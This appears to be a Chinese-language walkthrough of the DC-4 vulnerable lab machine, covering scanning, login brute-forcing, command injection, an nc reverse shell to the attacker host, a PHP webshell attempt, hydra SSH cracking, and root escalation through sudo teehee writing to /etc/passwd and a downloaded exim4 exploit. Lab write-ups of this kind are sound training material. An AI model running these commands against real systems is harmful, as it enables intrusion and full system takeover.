DC-4靶机通关记录
靶场环境
局域网网段:192.168.47.0/24
攻击机 kali:192.168.47.138/24
目标器 DC-3:192.168.47.139/24
打靶目标
找到藏在DC-4靶机中的flag,只有最终的flag。
信息收集
已知目标机器和攻击机器在同一个局域网内,网段为192.168.47.0/24。
寻找靶机真实IP
同样使用nmap扫描网段内的ip,使用命令:
nmap -sP 192.168.47.0/24 |

目标机器IP:192.168.47.139
探测服务以及端口
nmap使用命令
nmap -A -p- -v 192.168.47.139/24 |

靶机开放了web服务和ssh服务,web服务没有扫描到特定的框架。先游览器访问,

打开就是登录框了,看来是要登录进去了,获取最终的flag。
寻找最终flag
爆破账户密码
只有一个登录框,也没有别的什么目录文件,看来确实要登录进去了。要么弱口令要么爆破。弱口令试了几次没有成功,那么就开始爆破吧,针对于爆破,字典要选对。burp抓包,爆破,用户名就默认为admin

以下这几个密码都可以登录进去,用happy作为密码登录

登录成功。
命令执行getshell
点进去Command,发现可以执行三个命令,

如果网站是在前端限制了我们执行的命令只能是这三个,那么我们就可以抓包修改任意命令执行了。

可以任意命令执行,本来下一步尝试写马进去,可是根本写不进去。
echo "<?php eval($_POST[123]);?>">123.php |
后来才知道www-data的权限太低了,连文件都创建不了。看一下执行命令的代码逻辑:

尝试使用反弹shell,把shell反弹到kali机上。kali机监听9955端口
执行的命令为:
nc -e /bin/bash 192.168.47.138 9955 |
注意在http报文中修改的时候将空格url编码一下。

成功反弹到kali机上,老样子,优化一下shell

下一步就得提权了。
Linux提权
这里看文章有两种提权的方法,索性都记录下来,增加知识面
hydra爆破ssh密码
Hydra 是一个开源的密码爆破工具,用于渗透测试和安全评估。它被设计用于在授权范围内的测试中测试密码弱点,以帮助确认系统的安全性。 |
ssh服务还没有用到,进入到home目录有三个用户,随便找找发现一个记录密码的备份文件

把这些密码保存下来,可以作为爆破字典。接下来就用工具爆破jim的ssh密码。
hydra -l jim -P /home/xilitter/桌面/new_password.txt 192.168.47.139 ssh |
说一下hydra工具的几个使用参数: |
爆破出了密码为jibril04。
ssh远程连接
ssh jim@192.168.47.139 |

登录成功,随便找找发现charles用户的密码
/var/spool/mail |
在此路径下的一封邮件里:

Charles的密码为^xHhA&hvim0y,尝试切换用户登录

成功切换。
teehee提权
使用命令sudo -l查看一下该用户可以用特级权限使用哪些命令。

teehee是个小众的linux编辑器,如果它具有sudo权限,那么就可以利用并且提权。 |
使用以下命令提权
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd |
将admin::0:0:::/bin/bash写进/etc/passwd里 |
切换admin用户,成功提升权限。

exim4提权
记录一下另一种提权方法。
当前权限:

查看具有SUID权限的命令
find / -user root -perm -4000 -print 2>/dev/null |

exim4具有SUID权限,另外它也是可以用来提权的。
Exim4 是一个开源的邮件传输代理(Mail Transfer Agent,MTA),用于在 Unix/Linux 系统上路由和传递电子邮件。作为一个 MTA,Exim4 负责接收来自发送者的邮件,并将其传递给目标收件人的邮件服务器。 |
查看Exim4的版本

从本地库中查找相关漏洞。
searchsploit exim 4 |

对应版本是有漏洞的,需要下载提权脚本到靶机。
kali机开启web服务,因为需要靶机从我们的kali机上下载提权脚本,木马也写不进去,只能这么做了。
systemctl start apache2.service |
将提权脚本复制到kali机的web根目录下面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html |
靶机从kali机上wget下载脚本,切换到tmp目录下进行下载,还是那句话,权限太低了。
wget http://192.168.47.138/46996.sh |

下载成功后,给脚本加执行权限,然后执行脚本

成功提升权限。

root目录下找到最后的flag,DC-4靶机通关结束。